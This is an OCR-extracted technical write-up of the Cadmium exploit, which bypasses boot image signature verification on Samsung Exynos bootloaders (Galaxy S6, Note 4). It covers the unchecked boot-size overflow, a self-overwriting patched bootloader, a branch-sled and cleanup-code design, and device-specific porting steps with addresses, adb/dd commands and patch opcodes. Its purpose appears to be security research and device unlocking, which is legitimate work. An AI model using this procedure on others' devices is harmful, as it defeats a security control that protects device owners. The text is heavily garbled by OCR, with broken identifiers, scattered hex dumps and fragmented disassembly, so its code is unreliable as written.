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Background 

Cadmium is an exploit targeting a vulnerability in the Exynos Android bootloader which enables the 
persistent booting of an unsigned Android boot image. This document will cover the details of the 
Exynos bootloader vulnerability, how Cadmium exploits this vulnerability, and how one can port 
Cadmium to different devices/firmwares. 

Vulnerability 

The Android bootloader is responsible for verifying and loading an Android boot image, which 
contains a Linux kernel, initial ramdisk, and device tree. An Android boot image contains a header 
specifying the load address and size for the boot image components. 

struct boot_img_hdr 

{ 

unsigned char magic [BOOT_MAGIC_SIZE] ; 

unsigned kernel_size; /* size in bytes */ 
unsigned kernel_addr; /* physical load addr */ 

unsigned ramdisk_size; /* size in bytes */ 
unsigned ramdisk_addr; /* physical load addr */ 

unsigned second_size; /* size in bytes */ 
unsigned second_addr; /* physical load addr */ 

unsigned tags_addr; /* physical addr for kernel tags */ 
unsigned page_size; /* flash page size we assume */ 
unsigned dt_size; /* device_tree in bytes */ 
unsigned unused; /* future expansion: should be 0 */ 

unsigned char name [BOOT_NAME_SIZE] ;/* asciiz product name */ 

unsigned char cmdline [BOOT_ARGS_SIZE] ; 

unsigned id [8] ; /* timestamp / checksum/ shal / etc */ 

} ; 


On non-volatile storage, an Android boot image is formatted by concatenating the boot image header, 
kernel, ramdisk, and device tree. Additionally, a digital signature is appended to the boot image for 
verification purposes. 
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Boot Image 



Signature 


page_size 

kernel_size (aligned to page_size) 

ramdisk_size (aligned to page_size) 
dt_size (aligned to page_size) 


In order for the Android bootloader to verify an Android boot image, the boot image must be read from 
non-volatile storage into RAM. The normal Android boot image for an Exynos device resides in the 
BOOT partition on the non-volatile storage. The Samsung Exynos Android bootloader (i.e. shoot) 
reads the boot image header from the BOOT partition into a local variable in order to calculate the total 
boot image size to read from the BOOT partition for signature verification. The total boot image size is 
calculated by summing the page-aligned kernel_size, ramdisk_size, and dt_size values. The Exynos 
bootloader then reads total boot image size bytes from the BOOT partition into a RAM buffer. The 
vulnerability is that there is no maximum check on the calculated total boot image size to read from 
non-volatile storage. 


The following pseudo-code summarizes the basic Android boot image loading operation performed by 
the Exynos bootloader. The vulnerability is that there is no maximum length check on boot_img_size, 
calculated on line 27, before it is used as the count argument to ufs_read on line 32. 
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1 #define ROUND_TO_PAGE (x, y) ( ( (x) + (y ) ) & ( ~ (y) ) ) 

2 #def ine SIGNATURE_SIZE 0x12 0 

3 char *buf = (char *) 0x4 02 04 800; 

4 void uf s_read (void *buf , int block, int count) ; 

5 int signature_check (char *name, void *buf , int length) ; 

6 

7 int load_kernel (void) 

8 { 

9 struct partition_entry *part; 

10 struct boot_img_hdr hdr; 

11 int page_mask; 

12 int kernel_actual , ramdisk_actual , dt_actual; 

13 int boot_img_size; 

14 

15 part = partition_get_by_name ( "BOOT" ) ; 

16 

17 uf s_read (&hdr, part->start, sizeof (hdr) ) ; 

18 

19 if (memcmp (hdr .magic, "ANDROID!", 8)) 

2 0 return -1; 

21 

22 page_mask = hdr .page_size - 1; 

23 kernel_actual = ROUND_TO_PAGE (hdr . kernel_size, page_mask) ; 

24 ramdisk_actual = ROUND_TO_PAGE (hdr . ramdisk_size, page_mask) ; 

2 5 dt_actual = ROUND_TO_PAGE ( hdr . dt_s i z e , page_mask ) ; 

26 

27 boot_img_size = hdr .page_size + /* header */ 

2 8 kernel_actual + /* kernel */ 

29 ramdisk_actual + /* ramdisk */ 

30 dt_actual; /* device tree */ 

31 

32 uf s_read (buf , part->start, boot_img_size + SIGNATURE_SIZE) ; 

33 

34 if (signature_check ( "BOOT" , buf , boot_img_size + SIGNATURE_SIZE) ) 

35 return - 1 ; 

36 } 
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Exploitation 

In order to read the Android boot image from non-volatile storage into RAM and perform signature 
verification, the Exynos Android bootloader establishes a temporary buffer for the Android boot image. 
This temporary buffer resides at a virtual memory address which is lower than the virtual memory 
address of the Exynos Android bootloader itself, as depicted below. 


0x40204800 


0X43E00000 


RAM 


boot image 
buffer 


bootloader 
code and data 


Since the Exynos Android bootloader does not enforce DEP, specifying a large total Android boot 
image size causes the Exynos bootloader to overwrite itself in RAM with data from non-volatile 
storage. In other words, the Exynos bootloader can be patched in RAM with data from non-volatile 
storage by specifying a large total Android boot image size in the boot image header. 


The standard Android boot image read by the Exynos Android bootloader resides in the BOOT partition 
on non-volatile storage. This means that the Exynos Android bootloader will read a controllable 
number of bytes from the start of the BOOT partition on non-volatile storage into the RAM boot image 
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buffer. Therefore, a patched copy of the Exynos bootloader needs to be placed at an offset from the 
BOOT partition on non-volatile storage that corresponds to the distance between the boot image buffer 
and the Exynos bootloader in RAM. 


0x40204800 


0X43E00000 


RAM 


boot image 
buffer 


bootloader 


UFS 


BOOT 


patched 

bootloader 


Since the patched bootloader is resides in non-volatile storage, care must be taken that it does not 
overwrite or corrupt any other non-volatile storage content. Fortunately, the patched bootloader ends 
up resides in unused non-volatile storage within the RECOVERY partition on most Galaxy S6 devices. 
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0x40204800 


RAM 


UFS 


0X43E00000 


boot image 
buffer 


BOOT 






RECOVERY 




bootloader 


patched 

bootloader 


■ Signed 


Therefore, the procedure for exploiting this vulnerability on the Galaxy S6 is as follows. 

1. Write a patched version of the bootloader to the unused portion of the RECOVERY 
partition on UFS storage. 

2. Write a modified boot image header which will result in a large total boot image size 
calculation to the BOOT partition on UFS storage. 

3. Reboot the device. 

When the Exynos bootloader reads the modified boot image header, a large total boot image size will 
be calculated. When the Exynos bootloader reads the total boot image into RAM, the patched 
bootloader will be written on top of the Exynos bootloader. The dt_size member of the boot image 
header is modified to obtain a sufficiently large total boot image size in order to trigger the bootloader 
overwrite. 
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Note 4 Radio 


While the Galaxy S6 non-volatile storage layout results in the patched bootloader residing in the 
unused portion of the RECOVERY partition, the same is not true for the Galaxy Note 4. On the Galaxy 
Note 4, the patched bootloader ends up resides in the middle of the RADIO partition. 


0x20007800 


0X23E00000 


RAM 


boot image 
buffer 


bootloader 


eMMC 


BOOT 


RECOVERY 


RADIO 


patched 

bootloader 


! Signed 


Due to this, the patched bootloader cannot be directly written into the RADIO partition and some 
modifications to the RADIO partition are necessary to ensure proper device operation. 


The RADIO partition on Exynos devices generally consists of a Table Of Contents (TOC) followed by a 
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series of code/data segments. The format of the TOC is specific to each modem OEM, but generally 
describes the offset and length of each of the segments within the RADIO partition. The key here is 
that the TOC itself is not digitally signed. 


RADIO 



! Signed 


Since the TOC itself it not signed and it defines the offset and length for each segment, the TOC can be 
modified to open unused space for the patched bootloader provided there is sufficient unused space in 
the RADIO partition to support the shifted segments. This allows the patched bootloader to reside at 
the appropriate offset from the BOOT partition without corrupting any of the RADIO data. 


10 



RADIO 

TOC 


Segment 0 

> m ii 

Segment 1 

Patched 

bootloader 


Segment 2 


Segment 3 


Segment 4 


! Signed 


Bootloader Patching 

Now that the Exynos bootloader can be overwritten in RAM with data from non-volatile storage, a 
patched version of the bootloader must be generated that disables Android boot image signature 
verification. As seen in the pseudo-code, the boot image signature verification operation immediately 
follows the non-volatile storage read operation that triggers the Exynos bootloader patching. Thus, the 
goal is to patch the signature verfication function such that it always returns success. 
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W25, W19, #0x20 
W3, Wl9, #0x10 
X4, #0x4800 

XI, # aAndroid_0 @ PAGE ; "ANDROID!" 

X3, X3, #0x10 
X4, #0x4020, LSL#16 
X0, X21 

XI, XI, #aAndroid_0@PAGEOFF ; "ANDRO 
X2, #8 
X24, X3, X4 
memcmp 

WO, loc_43E07DF8 




W19, W19, #0x120 
X0, #0x4800 
Wl, W23 
W2, Wl9 

X0, #0x4020, LSL#16 
X20, X20, #0x24 
uf s_read 
XI, #0x4800 
W2, W19 

XI, #0x4020, LSL# 16 
X0, X20 
signature_check ‘ 
Wl9, W0 


Patch 
gnature_check 
jr ction to return O. 


Unfortunately, the instruction to branch to the signature_check function cannot itself be patched for two 
reasons. 


1. Registers containing the malformed boot image size must be restored. 

2. Independent LI instruction and data caches. 

The first issues simply requires the patched bootloader to execute a small piece of custom code to 
restore corrupted registers. The second issue is more tricky and stems from the fact that ARM 
implements a separate LI cache for instructions and data. 
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When the patched bootloader is being written on top of the Exynos bootloader in RAM, the memory 
operations are going through the LI data cache. However, the processor instruction fetch operations 
goes through the LI instruction cache. This presents the following two problematic scenarios. 

1. An instruction to be patched already resides in the LI instruction cache when the data 
write operation occurs through the LI data cache. 

2. A patch instruction resides in the LI data cache when the instruction fetch operation 
occurs through the LI instruction cache. 

The contents of the LI and L2 caches at the time of bootloader patching are non-deterministic between 
device reboots. This cache incoherency results in invalid or incomplete bootloader patching and must 
be addressed to create a successful and reliable exploit. 
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Since there is no way to flush and invalidate the caches, the bootloader patches must alleviate these 
caching issues. Given this, the solution for patching the Exynos bootloader to ensure the reliable 
booting of unsigned Android boot images is as follows. 

• Insert a register restoration function in unused code space within the bootloader. The 
return code for this function should indicate successful signature verification. 

• Replace the instructions of the signature_check function with a series of branch 
instructions to the register restoration function. 

Placing the register restoration function in unused code space ensures that the original bootloader 
content is never present in the LI instruction cache. Additionally, the target unused code space should 
be early in the bootloader to allow time for the patched instructions to be evicted from the LI data 
cache as the rest of the bootloader is patched. This should ensure LI instruction cache coherency with 
regards to the patched register restoration function. 


Replacing the signature_check function with a series of branch instructions to the register restoration 
function negates the LI cache incoherency issues as it is irrelevant which patched branch instruction is 
cache coherent so long as one actually is. In other words, it makes no difference when control of 
execution is gained inside the signature_verification function so long as one of the patched branch 
instructions is executed. 


Patched Bootloader 


signature_check 
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However, since it cannot be determined which patched branch instruction inside the signature_check 
function will be executed, some care must be taken to ensure the stack remains valid. The 
signature_check function preamble saves registers to the stack that must be restored before returning. 


signature_check 


var_170= -0x170 
var_160= -0x160 
var_150= -0x150 
var_140= -0x140 


STP 

MOV 

STP 

STR 

ADD 

MOV 

ADRP 

STP 

ADD 


X29, X30, >■, #-OxlO+var_170] ! 
X29, SP 

X19, X20, [H,#0xl70+var_160] 
X2 3, [fe, #0xl70+var_140] 

X20, X29, #0x40 
X23, XI 

XI, #of f_4 3EA43380PAGE 
X21, X22, [SP, #0xl70+var_150] 
XI, XI, #of f_4 3EA4 3 3 80PAGEOFF 


If these stack preamble instructions are patched as part of the branch sled, it is possible that none, 
some, or all of the original stack preamble instructions will be executed before a patched branch 
instruction. This makes it impossible for the cleanup code to reliably restore the stack. In order to 
ensure the cleanup code can properly restore the stack, the brach sled should start directly after the 
signature_check function preamble instructions that manipulate the stack, as depicted below. 
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signature_ 

check 

; CODE XREF : ROM: 000000004 3E09C88.Jp 
; ROM: 0000000043E09DFO.jp 

var 170 

= -0x170 


var 160 

= -0x160 


var 150 

= -0x150 


var 140 

= -0x140 


arg_0 

= 0x10 


arg_10 

= 0x20 


arg 20 

= 0x30 


arg_30 

= 0x40 


; FUNCTION 

CHUNK AT ROM: 000000 

0043E00100 SIZE 00000030 BYTES 


STP 

X29, X30, [SP, #-0xl0+var 170]! 


MOV 

X29, SP 


STP 

X19, X20, [SP, #0xl70+var 160] 


STR 

X23, [SP, #0xl70+var 140] 


ADD 

X20, X29, #0x40 


MOV 

X23, XI 


ADRP 

XI, #0x43EA4000 


STP 

X21, X22, [SP, #0xl70+var 150] 


B 

loc_43E00100 


B 

loc_43E00100 


B 

loc_43E00100 


B 

loc_43E00100 


B 

loc_43E00100 


B 

loc_43E00100 


B 

loc_43E00100 


B 

loc_43E00100 


B 

loc_43E00100 


B 

loc_43E00100 


B 

loc_43E00100 


Now the cleanup code can implement the full signature_check function post-amble to ensure the stack 
is properly unwound upon return. With this last piece, the clean up code has the following 
requirements. 

1. Restore the stack from the signature_check preamble. 

2. Restore corrupted local variables from the boot image header. 

3. Return success to bypass signature verification. 

An example of clean up code that meets these requirements is shown below for the Galaxy S6. 
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LDR 

LDP 

LDP 

MOV 

MOV 

LDR 

LDR 

LDR 

STR 

MOV 

LDP 

RET 


X23, [SP, #-0xl0+arg_30] 

X19, X20, [SP, #-0xl0+arg_10] 

X21, X22, [SP, #-0xl0+arg_20] 

X3, #0 
X24, #0 

W3, =0x1867000 
W24, =0x4lA6B800 
WO, =0xD6000 
WO, [X21, #0x28] 

XO, #0 

X29, X30, [SP-0xl0+arg_0] ,#0x180 



Stack restoration 

Variable restoration 
Return success 


The variable restoration code needs to fix any registers/variables that were corrupted by the large 
dt_size from the modified boot image header. The specific registers that require restoration depends 
upon the optimizations made by the bootloader compiler. In the bootloader load_kernel pseudo-code, 
the following local variables were corrupted by the modified dt_size value. 


hdr . dt_size 

dt_actual 

boot_img_size 


The following disassembly shows the compiler output from a Galaxy S6 with some annotations for 
when the aforementioned variables are used. 
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MOV 

MOV 

MOV 

BL 

LDR 

LDR 

SUB 

ADRP 

SUB 

AND 

AND 

ADD 

ADD 

ADD 

BL 

LDR 

LDR 

LDR 

SUB 

SUB 

AND 

SUB 

AND 

ADD 

AND 

ADD 

ADD 

ADRP 

MOV 

ADD 

ADD 

ADD 

BL 

ADD 

ADD 

MOV 

ADRP 

SUB 

MOVK 

MOV 

ADD 

MOV 

ADD 

BL 

CBNZ 

ADD 

MOV 

MOV 

MOV 

MOVK 

ADD 

BL 

MOV 

MOV 

MOVK 

MOV 

BL 

MOV 


XO, X21 
Wl, W23 
N2, #0x66 0^ 

WO, _ [X21, #8 ] 

W2, [X21, #0x10] 

Wl, WO, #1 

XO, #Ox43E61000 

W2, W2 , #1 

Wl, Wl, #0xFFFFF8O0 

W2, W2 , #0xFFFFF8O0 

Wl, Wl, #0x800 

W2, W2 , #0x800 

X0, X0, #0x320 

printf 

W2, [X21, #boot_img_hdr .kernel_size] 

W0, [X21, #boot_img_hdr.ramdisk_size 

Wl, [X21, #boot_img_hdr .dt_size] 

W2, W2 , #1 
WO, WO, #1 
W2, W2 , #0xFFFFF8O0 
W19, Wl, #1 
W0, W0, #0xFFFFF8O0 
W0, W2 , W0 

W19, W19, #0xFFFFF800 
W3, Wl 9, #0x800 
W19, W0, #1, LSL#12 
X0, #0x43E61000 
W2, W3 

X0, XO, #0x350 
W19, W19, #0x800 

W19, W19, W3 ^ 

printf 

W25, W19, #0x20 
W3, Wl 9, #0x10 
X4, #0x4800 

XI, #aAndroid_0@PAGE ; "ANDR< 

X3, X3, #0x10^ ■ 

X4, #0x4020, LSL#16 
XO, X21 

XI, XI, #aAndroid_0@PAGEOFF ; 


- Read boot image header into X21 


Calculate dt actual in W3 


- Calculate boot_img_size in W19 


-Calculate boot_img_size in W3 


X24, X3, X4^ 

memcmp 

W0, invalid_magic 

W19, W19, #0x120 
XO, #0x4800 
Wl, W23 
W2, Wl 9 

XO, #0x4020, LSL#16 
X20, X20, #0x24 
ufs_r< 

XI, #0x4800 
W2, Wl 9 
XI, #0x4020, LSL#16 
XO, X2 0 AS 

_check 

W19, WO ^ 


- Calculate but + boot_img_size in W24 


- Overwrite bootloader 
. Branch to cleanup code 


- W19 overwritten with return value 


This examples requires three variables to be restored by the cleanup code. 

1. Restore W3 to boot_img_size. 

2. Restore W24 to buf + boot_img_size. 

3. Restore dt_size at local boot_img_hdr address X21 + 0x28. 

All three of these operations can be seen in the cleanup code example previously given in this section. 
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With a patched bootloader that adheres to everything outlined in this section, the bootloader should 
successfully boot an unsigned Android boot image. 

Porting 

Porting requires some specific knowledge of the Exynos bootloader that is typically ascertained 
directly from the device or through bootloader disassembly. The high level profile structure defined in 
profile.h is shown below. 

struct profile { 

char *boot_dev; 
char *recovery_dev; 
char *sboot_dev; 
char *radio_dev; 

int (*radio_adjust) (char *, uint64_t, unsigned int, char *) ; 

int (*radio_f ixup) (char *, char *) ; 

unsigned int sboot_dev_of f ; 

unsigned int sboot_load_addr; 

unsigned int sboot_scratch_addr ; 

struct patch_sboot *patch; 

} ; 


Each of these structure members is detailed in the following table. 
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Structure Member 

Description 

boot_dev 

Linux block device path for the BOOT partition 

recovery_dev 

Linux block device path for the RECOVERY partition 

sboot_dev 

Linux block device path for the Exynos bootloader 

radio_dev 

Linux block device path for the RADIO partition 

radio_adjust 

Function to create staging space in the RADIO partition 

radio_fixup 

Function to remove staging space from the RADIO partition 

sboot_dev_off 

Offset in sboot_dev where the Exynos bootloader starts 

sboot_load_addr 

Virtual address where the Exynos bootloader runs 

sboot_scratch_addr 

Virtual address of the Exynos bootloader Android boot image buffer 

patch 

Pointer to Exynos bootloader patches 


boot_dev (e.g. /dev/block/sda8) 

The boot_dev is typically obtained by listing the contents of 

/dev/block/platform/<controller name>/by-name on the target device and identifying the 
BOOT symlink destination. 

$ adb shell Is -1 /dev/block/platform/15570000.ufs/by-name/BOOT 
lrwxrwxrwx root root 2015-09-17 16:37 BOOT -> /dev/block/sda8 


recovery _dev (e.g /dev/block/sda9) 

Same procedure as the boot_dev except the RECOVERY symlink destination is desired. Not 
fully tested at this time. 


sboot_dev (e.g. /dev/block/sdb) 

The sboot_dev should almost always be /dev/block/sdb for UFS devices and 
/dev/block/mmcblkObootO for eMMC devices. 


radiojdev (e.g. /dev/block/sdall) 

Same procedure as the boot_dev except the RADIO symlink destination is desired. This is only 
required for Galaxy Note 4 devices. 


radio_adjust (e.g. radioimg_ste_adjust) 

The only supported radio images are the Sony Ericson modems found in the Galaxy Note 4 SM- 
N910H and SM-N910C. This is only required for Galaxy Note 4 devices. 


20 





radio_fixup (e.g. radioimg_set_fixup) 
See radio_adjust. 


sboot_dev_off (e. g. 0x3e000) 

The Exynos Android bootloader is not the only bootloader in the sboot_dev block device. The 
sboot_dev_off value is typically found through disassembly and strings cross-referencing of the 
shoot device contents. This is typically 0x3e000 for Galaxy S6 devices and OxleOOO for Galaxy 
Note 4 devices. 


sboot_load_addr (e.g 0x43e00000) 

The virtual address of the Exynos Android bootloader at runtime is typically obtained through 
disassembly of the Exynos Android bootloader. This is typically 0x43e00000 for Galaxy S6 
devices and 0x23e00000 for Galaxy Note 4 devices. 


sboot_scratch_addr (e.g. 0x40204800) 

The boot image buffer address within the Exynos Andoird bootloader is typically obtained 
through disassembly of the Exynos Android bootloader. This value has been seen to 
occasionally vary between variants of the same device. 


The sboot_dev_off value is typically found by searching for a known Exynos Android bootloader string 
within the shoot block device and manually reverse searching the hex dump until a digital signature is 
found. 

shell@zerofltechn:/data/local/tmp # dd if=/dev/block/sdb of=sdb.bin 
shell@zerofltechn:/data/local/tmp # chmod 666 sdb.bin 
$ adb pull /data/local/tmp/sdb.bin 
$ strings -t x sdb.bin | grep load_kernel 
83790 load_kernel 
9eal0 load_kernel 

The easiest method is to identify the first isolated 0x100 byte digital signature when reverse searching 
from offset 0x83790 in sdb.bin. These digital signatures preceed the actual bootloader code and an 
example of such a signature is shown below. 
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DD 

C8 

1A 

19 

35 

62 

C5 

27 

DO 

30 

85 

9B 

CD 

9A 

I5YE. . 5bA’D0.„ >ts 

3 : DDOOh: 

E0 

EC 

6D 

C5 

19 

73 

42 

2A 

0A 

Cl 

EE 

8D 

IB 

IF 

A5 

1C 

aimA. sB* .Ai. . .¥. 

3:DD10h: 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 


3 : DD20h: 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 


3:DD30h: 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 


3 :DD40h: 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 


3 : DD50h: 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 | 


3:DD60h: 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 


3 :DD70h: 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 


3:DD80h: 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 


3 :DD90h: 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 


3 : DDAOh : 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 


3 : DDBOh: 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 


3 :DDC0h: 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 


3 :DDD0h: 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 ! 


3 : DDEOh: 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 


3 :DDF0h: 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 i 


3 : DEOOh: 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 

00 



An isolated, random grouping of 0x100 bytes typically denotes a digital signature and the Exynos 
Android bootloader code is typically the next non-zero data after the digital signature (at 0x3e000 in 
this example). 


Once the correct offset has been obtained from sboot, the Exynos Android bootloader should be 
isolated from the sboot image for disassembly. 

$ dd if=sdb.bin of=bl.bin bs=l skip=$((0x3e000)) 

$ ida64 bl.bin 

Basing the bootloader at address 0 and inspecting the initial instructions typically provides enough 
information to infer the correct bootloader base address. This is far from an exact science but the 
bootloader offset appears to be consistent across device families. 
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I000000000000005C sub_5C 

000000000000005C LDR 

0000000000000060 LDR 

0000000000000064 LDR 

0000000000000068 STR 

000000000000006C RET 

000000000000006C ; End of function sub_5C 
000000000000006C 
0000000000000070 

0000000000000070 ; =============== s U B R O U T 

0000000000000070 
0000000000000070 
0000000000000070 bss_init 
0000000000000070 LDR 

0000000000000074 LDR 

0000000000000078 MOV 

000000000000007C 
000000000000007C bbs_loop 
000000000000007C 
0000000000000080 
0000000000000084 
0000000000000088 
0000000000000088 ; End of fun 


STR 

CMP 

B.LT 

RET 


; CODE XREF : sub_4+3Cfp 

X0 f =0x43ED0EF0 
XI, 1X0] 

X0, =0x43DFFFF0 
XI, [X0] 


I N E 


; CODE XREF: sub_4+40tp 
X3, =0x43EBC000 
X4, =0x44154518 
X5, #0 

; CODE XREF: bss_init+14,lj 
X5, [X3] , #8 
X3, X4 

bbs_loop 


Once the bootloader code is properly loaded into a disassembler, the Android boot image buffer can be 
identified by locating the load_kernel function. This is easily done by cross-referencing the 
“load_kemel” string and identifying the function which loads the Android boot image. 


LDRB W0, [X20, #0x15] 

ADRP XI, #JaIoad_kernel_l|@PAGE ; "load_kernel" 

LDRB W3, [X20, #0x16] 

ADD XI, XI, #HHHermsl.Ji@PAGEOFF ; "loadjcernel" 

LDRB W23, [X20, #0x14 ] 

ADD X21, X29, #0x60 

LDRB W2, [X20, #0x17] 

ORR X23, X2 3, X0,LSL#8 

ADRP X0, #aSLoadingBootIm@PAGE ; ”%s: loading boot image from 

ORR X23, X23, X3,LSL#16 

ADD X0, X0, #aSLoadingBootIm@PAGEOFF ; "%s: loading boot ima< 

ORR X23, X23, X2,LSL#24 


With the load_kernel function identified, the Android boot image buffer is found by locating the 
memcmp call within load_kernel that tests the boot image magic string "ANDROID!". 


MOV 

ADRP 

SUB 

MOVK 

MOV 

ADD 

MOV 

ADD 

BL 

CBNZ 


X4, #0x4800 

XI, #aAndroid_0@PAGE ; "ANDROID!" 

X3, X3, #0x10 

X4, #0x4020, LSL#1 6 

X0, X21 

XI, XI, #aAndroid_0@PAGEOFF ; "ANDR 
X2, #8 
X24, X3, X4 
memcmp 

W0, loc_43E07DF8 


-Android boot image buffer 
(0x40204800) 
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This is all the necessary information for the high level profile structure excluding the bootloader 
patches. The following high level patch structure definition encapsulates the current information 
ascertained in this Galaxy S6 example. 

{ .boot_dev = " /dev/block/sda8" , 

. recovery_dev = "/dev/block/sda9 " , 

.sboot_dev= " /dev/block/sdb" , 

. sboot_dev_of f = 0x3e000, 

. sboot_load_addr = 0x43e00000, 

. sboot_scratch_addr = 0x40204800, 

.patch = NULL } 

The next step in porting is to define the bootloader patches, which will be referenced in the patch 
member of the profile structure. The patch structures are defined in patch.h and are shown below. 

struct patch_payload { 
unsigned int addr; 
unsigned int *data; 
unsigned int size; 
unsigned int total_size_of f ; 
unsigned int boot_end_of f ; 
unsigned int dt_size_of f ; 

} ; 

struct patc h j ump { 
unsigned int addr; 
unsigned int count; 

} ; 

struct patch_sboot { 

struct patch_payload *payload; 
struct patch jump *jump; 

1 ; 


The patch_sboot structure simply contains a pointer to a patch_payload structure, which defines the 
cleanup code, and a pointer to a patchjump structure, which defines the branch sled. In order to 
properly populate both structures, the signature_check function must be identified. The 
signature_check function conveniently referenced after the previously located Android boot image 
magic memcmp. 
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The branch sled structure requires an address, which is the address to start patching branch instructions, 
and a count, which is the number of branch instructions to patch. The address at which to start 
patching branch instructions for the branch sled is the address of the first signature_check instruction 
after the end of the function preamble. 


0UTOUUUU43E09B64 

signature 

2_check 

; CODE XREF : sub_4iE0'/AbC+lF0Tp 

000000004 3E09B6 4 
000000004 3E09B6 4 
000000004 3E09B6 4 

var 170 

= -0x170 

; sub_43E09C64+24*p . . . 

000000004 3E09B6 4 

var 160 

= -0x160 


000000004 3E09B64 

var_150 

= -0x150 


000000004 3E09B64 

var_140 

= -0x140 


000000004 3E09B6 4 
000000004 3E09B6 4 


STP 

X29, X30, :|SP, #-0xl0+var 170]! 

000000004 3E09B6 8 


MOV 

X29, SP 

0000000 04 3E09B6C 


STP 

X19, X20, ;S1, #0xl70+var 160] 

000000004 3E09B70 


STR 

X23, SP, #0xl70+var 140] 

000000004 3E09B7 4 


ADD 

X20, X29, #0x40 

000000004 3E09B7 8 


MOV 

X23, XI 

000000004 3E09B7C 


ADRP 

XI, #off 43EA43386PAGE 

000000004 3E09B80 


STP 

X21, X22, :B,#Oxl70+var_150] 

0000000043e09b84| 


ADD 

XI, XI, #off_43EA4338@PAGEOFF 

0000000043E09B88 


MOV 

X21 , X0 

000000004 3E09B8C 


MOV 

W22, W2 

000000004 3E09B90 


MOV 

X0, X20 

000000004 3E09B94 


MOV 

X2, #0x40 

000000004 3E09B98 


MOV 

X19, #0 

000000004 3E09B9C 


BL 

sub 43E05648 


The number of branch instructions to patch is simply the number of instructions from the branch 
patching start instruction to the end of the signature _check function. 
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0000000 04 3E09C5 8 loc_43E09C58 
0000000 04 3E09C58 ADRP 

000000004 3E09C5C ADD 

0000000043E09C60 B 

000000004 3E09C60 ; End of function signati 
000000004 3E09C60 
000000004 3E09C64 


; CODE XREF : signature_check+B4 tj 
X3, #alnvalid@ PAGE ; "invalid" 

X3, X3, # a I nva 1 id@ PAGEOFF ; "invalid" 
loc_43E09C24 


With a branch patching start address of 0x43e09b84 and a signature_check function end address of 
0x43e09c64, the branch instruction count is calculated as shown below. 

0 x 43e09 c 64 - 0 x 43e09 b 84 
4 

Therefore, the patchjump structure for this Galaxy S6 example is defined as follows. 


{ . addr = 0x43e09b84, 
. count = 56 } 


The patch_payload structure definition is more complicated as it defines the cleanup that will be 
patched into the Exynos bootloader. The address member is the virtual address where the cleanup code 
should be patched into the Exynos bootloader. The virtual address of the cleanup code should be an 
unused area of the Exynos bootloader and preferably relative early in the code in order to alleviate the 
aforementioned caching issues. The Galaxy S6 bootloader actually contains an area of unused code 
between the initial load code and the ARM vectors which meets both requirements. 


1000000004 3E00070 

000000004 3E00070 
000000004 3E00074 
000000004 3E0007 8 
000000004 3E0007C 
000000004 3E0007C 
000000004 3E0007C 
000000004 3E000 80 
000000004 3E000 8 4 
000000004 3E000 8 8 
000000004 3E000 8 8 
000000004 3E000 8 8 
000000004 3E0008C 
000000004 3E0008C 
000000004 3E000 90 
000000004 3E000 94 
000000004 3E000 98 
000000004 3E0009C 
000000004 3E0009C 
000000004 3E000A0 
000000004 3EOOOA1 
000000004 3E000A2 
000000004 3E000A3 
000000004 3E000A4 
000000004 3E000A5 
0000000043EOOOA6 
000000004 3E000A7 
000000004 3E000A8 
000000004 3E000A9 


sub_43E00070 

LDR 

LDR 

MOV 

loc_43E0007C 

STR 

CMP 

B.LT 

RET 

; End of function sul 


NOP 

NOP 

NOP 

NOP 

NOP 


DCB 

D 

DCB 

DCB 

DCB 

DCB 

DCB 

DCB 

DCB 

d :e 


.4 3E00 


0 

0 

0 

0 

0 

0 

0 

0 

0 

0 


; CODE XREF: 
X3, =qword_43EBC000 
X4 , =qword_44154518 
X5, #0 

} CODE XREF: 
X5, 1X3] , #8 
X3, X4 

loc_43E0007C 


26 


A cleanup code virtual address of 0x43e00100 in this example provides ample space to avoid cache line 
overlapping. 


The data member contains a pointer to the actualy Exynos bootloader cleanup code. Recall that the 
cleanup code has three requirements. 

1. Restore the stack from the signature_check preamble. 

2. Restore corrupted local variables from the boot image header. 

3. Return success to bypass signature verification. 

Determining how to properly restore the stack is as simple as copying the signature_check function 
postamble, as the postamble will undo the function preamble. 


LDR 

MOV 

LDP 

LDP 

LDP 

RET 


X23, [■, #0xl70+var_140] 

WO, Wl 9 

Xl 9, X20, SB, #0xl70+var_160] 

X21, X22, [■, #0xl70+var_150] 

X29, X30, :H+Cxl70+var_170], #0x180 


Determining how to restore the corrupted local variables from the modified boot image header and how 
to return success for signature verification were thoroughly discussed in the Bootloader Patching 
section and the same procedures should be followed. With regards to restoring corrupted local 
variables, the proper restoration values will not be known at compile time due to the fact that 
modification will be made to the Android boot image by Cadmium. Therefore, placeholder memory is 
allocated in the cleanup code that will be populated by Cadmium at runtime. The offsets in the cleanup 
code where Cadmium should store the proper restoration values is specified by the offset members of 
the patch_payload structure. 


Structure Member 

Description 

total_size_off 

Offset in cleanup code to store valid total boot image size 

boot_end_off 

Offset in cleanup code to store valid buf + total boot image size 

dt_size_off 

Offset in cleanup code to store valid dt_size 


Note that these offsets are in units of bytes. The following cleanup code meets the aforementioned 
requirements and allocates empty space for the necessary runtime restoration variables. 
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unsigned int patch_data [] 


{ 

Oxf 9401bf 7 , //ldr 
0xa94153f 3 , //ldp 
0xa9425bf5, //ldp 
0xd2800003 , //mo v 
